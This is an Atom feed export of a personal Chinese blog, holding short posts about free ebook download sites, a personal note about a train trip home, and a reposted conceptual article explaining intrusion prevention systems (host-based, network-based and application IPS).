<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-17718390</id><updated>2011-12-31T23:12:46.366+08:00</updated><category term='Develop'/><category term='Network'/><category term='Software'/><category term='Nothing'/><category term='C_C++'/><category term='Digital'/><category term='Security'/><category term='Game'/><category term='Linux'/><category term='Web'/><category term='IT'/><title type='text'>兔子窝边草</title><subtitle type='html'>勇哥的blog~~~</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>56</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-17718390.post-6988493742937624850</id><published>2007-06-04T12:20:00.001+08:00</published><updated>2007-06-04T12:20:47.533+08:00</updated><title type='text'>ebookee.com free ebooks download library</title><content type='html'>Over 50 thousand ebooks' free download links on all subject, programming, networking, and so on. No registration is needed. No restriction.&lt;br&gt;&lt;/br&gt;&lt;br&gt;&lt;/br&gt;&lt;a href='http://www.ebookee.com/'&gt;read more&lt;/a&gt; | &lt;a href='http://digg.com/programming/ebookee_com_free_ebooks_download_library'&gt;digg story&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-6988493742937624850?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/6988493742937624850/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=6988493742937624850' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/6988493742937624850'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/6988493742937624850'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/06/ebookeecom-free-ebooks-download-library.html' title='ebookee.com free ebooks download library'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-6244951351002163774</id><published>2007-05-11T15:50:00.001+08:00</published><updated>2007-05-11T15:50:09.733+08:00</updated><title type='text'>English eBooks library from china, update daily!</title><content type='html'>Thousands of ebooks, IT, Novel, Story, etc, download or read online. Some don't have download links, and they will be updated soon.&lt;br&gt;&lt;/br&gt;&lt;br&gt;&lt;/br&gt;&lt;a href='http://www.book4you.cn'&gt;read more&lt;/a&gt; | &lt;a href='http://digg.com/tech_deals/English_eBooks_library_from_china_update_daily'&gt;digg story&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-6244951351002163774?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/6244951351002163774/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=6244951351002163774' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/6244951351002163774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/6244951351002163774'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/05/english-ebooks-library-from-china.html' title='English eBooks library from china, update daily!'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-8916179323720556805</id><published>2007-04-23T14:30:00.000+08:00</published><updated>2007-04-23T14:38:36.217+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Nothing'/><title type='text'>后天回家啦！！！</title><content type='html'>hoho~~&lt;br /&gt;&lt;br /&gt;请了一个星期的假，嗯~~25号的火车回重庆。&lt;br /&gt;为了回家，gl把研究生开题都取消了，不能两年毕业了，下学期才能开题。&lt;br /&gt;前一阵看新闻说重庆至北京的火车提速了7个小时，只需要18个小时就能到达。结果看了最新的火车时刻表，发现只提了半个小时。。。sigh，还没有买到卧铺车票，不过硬座已经习惯了，只是上次gl坐过去教都肿了。。。&lt;br /&gt;&lt;br /&gt;这两天高了个小网页：&lt;a href="http://www.book4you.cn/"&gt;http://www.book4you.cn/&lt;/a&gt;，实际上目前一个下载链接都没有。。。只能以忽悠一下人&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17718390-8916179323720556805?l=zouyong.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zouyong.blogspot.com/feeds/8916179323720556805/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17718390&amp;postID=8916179323720556805' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/8916179323720556805'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17718390/posts/default/8916179323720556805'/><link rel='alternate' type='text/html' href='http://zouyong.blogspot.com/2007/04/blog-post.html' title='后天回家啦！！！'/><author><name>Young</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17718390.post-88084370976068567</id><published>2007-04-04T11:10:00.001+08:00</published><updated>2007-04-04T11:18:08.366+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='Develop'/><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>ips 入门到精通（转自黑客防线）</title><content type='html'>&lt;div class="Section1"&gt;&lt;p class="MsoNormal" style="TEXT-ALIGN: left" align="left"&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;ips &lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;入门到精通（转自黑客防线）&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;随着网络入侵事件的不断增加和黑客攻击水平的不断提高，一方面企业网络感染病毒、遭受攻击的速度日益加快，另一方面企业网络受到攻击作出响应的时间却越来越滞后。解决这一矛盾，传统的防火墙或入侵检测技术&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;(IDS)&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;显得力不从心，这就需要引入一种全新的技术&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;-&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;入侵防护（&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;Intrusion Prevention System&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;，&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;）。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;的原理&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;防火墙是实施访问控制策略的系统，对流经的网络流量进行检查，拦截不符合安全策略的数据包。入侵检测技术&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;(IDS)&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;通过监视网络或系统资源，寻找违反安全策略的行为或攻击迹象，并发出报警。传统的防火墙旨在拒绝那些明显可疑的网络流量，但仍然允许某些流量通过，因此防火墙对于很多入侵攻击仍然无计可施。绝大多数&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt; IDS &lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;系统都是被动的，而不是主动的。也就是说，在攻击实际发生之前，它们往往无法预先发出警报。而入侵防护系统&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt; (IPS) &lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;则倾向于提供主动防护，其设计宗旨是预先对入侵活动和攻击性网络流量进行拦截，避免其造成损失，而不是简单地在恶意流量传送时或传送后才发出警报。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS &lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;是通过直接嵌入到网络流量中实现这一功能的，即通过一个网络端口接收来自外部系统的流量，经过检查确认其中不包含异常活动或可疑内容后，再通过另外一个端口将它传送到内部系统中。这样一来，有问题的数据包，以及所有来自同一数据流的后续数据包，都能在&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt; IPS &lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;设备中被清除掉。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;实现实时检查和阻止入侵的原理在于&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;拥有数目众多的过滤器，能够防止各种攻击。当新的攻击手段被发现之后，&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;就会创建一个新的过滤器。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;数据包处理引擎是专业化定制的集成电路，可以深层检查数据包的内容。如果有攻击者利用&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;Layer 2 &lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;（介质访问控制）至&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;Layer 7&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;（应用）的漏洞发起攻击，&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;能够从数据流中检查出这些攻击并加以阻止。传统的防火墙只能对&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;Layer 3&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;或&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;Layer 4&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;进行检查，不能检测应用层的内容。防火墙的包过滤技术不会针对每一字节进行检查，因而也就无法发现攻击活动，而&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;可以做到逐一字节地检查数据包。所有流经&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;的数据包都被分类，分类的依据是数据包中的报头信息，如源&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IP&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;地址和目的&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IP&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;地址、端口号和应用域。每种过滤器负责分析相对应的数据包。通过检查的数据包可以继续前进，包含恶意内容的数据包就会被丢弃，被怀疑的数据包需要接受进一步的检查。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;针对不同的攻击行为，&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;需要不同的过滤器。每种过滤器都设有相应的过滤规则，为了确保准确性，这些规则的定义非常广泛。在对传输内容进行分类时，过滤引擎还需要参照数据包的信息参数，并将其解析至一个有意义的域中进行上下文分析，以提高过滤准确性。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;过滤器引擎集合了流水和大规模并行处理硬件，能够同时执行数千次的数据包过滤检查。并行过滤处理可以确保数据包能够不间断地快速通过系统，不会对速度造成影响。这种硬件加速技术对于&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;具有重要意义，因为传统的软件解决方案必须串行进行过滤检查，会导致系统性能大打折扣。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;的种类&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;基于主机的入侵防护&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;(HIPS)&lt;br /&gt;HIPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;通过在主机&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;/&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;服务器上安装软件代理程序，防止网络攻击入侵操作系统以及应用程序。基于主机的入侵防护能够保护服务器的安全弱点不被不法分子所利用。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;Cisco&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;公司的&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;Okena&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;、&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;NAI&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;公司的&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;McAfee Entercept&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;、冠群金辰的龙渊服务器核心防护都属于这类产品，因此它们在防范红色代码和&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;Nimda&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;的攻击中，起到了很好的防护作用。基于主机的入侵防护技术可以根据自定义的安全策略以及分析学习机制来阻断对服务器、主机发起的恶意入侵。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;HIPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;可以阻断缓冲区溢出、改变登录口令、改写动态链接库以及其他试图从操作系统夺取控制权的入侵行为，整体提升主机的安全水平。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;在技术上，&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;HIPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;采用独特的服务器保护途径，利用由包过滤、状态包检测和实时入侵检测组成分层防护体系。这种体系能够在提供合理吞吐率的前提下，最大限度地保护服务器的敏感内容，既可以以软件形式嵌入到应用程序对操作系统的调用当中，通过拦截针对操作系统的可疑调用，提供对主机的安全防护；也可以以更改操作系统内核程序的方式，提供比操作系统更加严谨的安全控制机制。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;由于&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;HIPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;工作在受保护的主机&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;/&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;服务器上，它不但能够利用特征和行为规则检测，阻止诸如缓冲区溢出之类的已知攻击，还能够防范未知攻击，防止针对&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;Web&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;页面、应用和资源的未授权的任何非法访问。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;HIPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;与具体的主机&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;/&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;服务器操作系统平台紧密相关，不同的平台需要不同的软件代理程序。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;基于网络的入侵防护&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;(NIPS)&lt;br /&gt;NIPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;通过检测流经的网络流量，提供对网络系统的安全保护。由于它采用在线连接方式，所以一旦辨识出入侵行为，&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;NIPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;就可以去除整个网络会话，而不仅仅是复位会话。同样由于实时在线，&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;NIPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;需要具备很高的性能，以免成为网络的瓶颈，因此&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;NIPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;通常被设计成类似于交换机的网络设备，提供线速吞吐速率以及多个网络端口。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;NIPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;必须基于特定的硬件平台，才能实现千兆级网络流量的深度数据包检测和阻断功能。这种特定的硬件平台通常可以分为三类：一类是网络处理器（网络芯片），一类是专用的&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;FPGA&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;编程芯片，第三类是专用的&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;ASIC&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;芯片。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;在技术上，&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;NIPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;吸取了目前&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;NIDS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;所有的成熟技术，包括特征匹配、协议分析和异常检测。特征匹配是最广泛应用的技术，具有准确率高、速度快的特点。基于状态的特征匹配不但检测攻击行为的特征，还要检查当前网络的会话状态，避免受到欺骗攻击。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;协议分析是一种较新的入侵检测技术，它充分利用网络协议的高度有序性，并结合高速数据包捕捉和协议分析，来快速检测某种攻击特征。协议分析正在逐渐进入成熟应用阶段。协议分析能够理解不同协议的工作原理，以此分析这些协议的数据包，来寻找可疑或不正常的访问行为。协议分析不仅仅基于协议标准（如&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;RFC&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;），还基于协议的具体实现，这是因为很多协议的实现偏离了协议标准。通过协议分析，&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;能够针对插入（&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;Insertion&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;）与规避（&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;Evasion&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;）攻击进行检测。异常检测的误报率比较高，&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;NIPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;不将其作为主要技术。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;应用入侵防护（&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;AIP&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;）&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;NIPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;产品有一个特例，即应用入侵防护（&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;Application Intrusion Prevention &lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;，&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;AIP&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;），它把基于主机的入侵防护扩展成为位于应用服务器之前的网络设备。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;AIP&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;被设计成一种高性能的设备，配置在应用数据的网络链路上，以确保用户遵守设定好的安全策略，保护服务器的安全。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;NIPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;工作在网络上，直接对数据包进行检测和阻断，与具体的主机&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;/&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;服务器操作系统平台无关。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;NIPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;的实时检测与阻断功能很有可能出现在未来的交换机上。随着处理器性能的提高，每一层次的交换机都有可能集成入侵防护功能。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;技术特征&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;嵌入式运行：只有以嵌入模式运行的&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt; IPS &lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;设备才能够实现实时的安全防护，实时阻拦所有可疑的数据包，并对该数据流的剩余部分进行拦截。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;深入分析和控制：&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;IPS&lt;/span&gt;&lt;span style="font-family:宋体;font-size:9;color:#333333;"&gt;必须具有深入分析能力，以确定哪些恶意流量已经被拦截，根据攻击类型、策略等来确定哪些流量应该被拦截。&lt;/span&gt;&lt;span lang="EN-US"    style="font-family:'Tahoma','sans-serif';font-size:9;color:#333333;"&gt;&lt;br 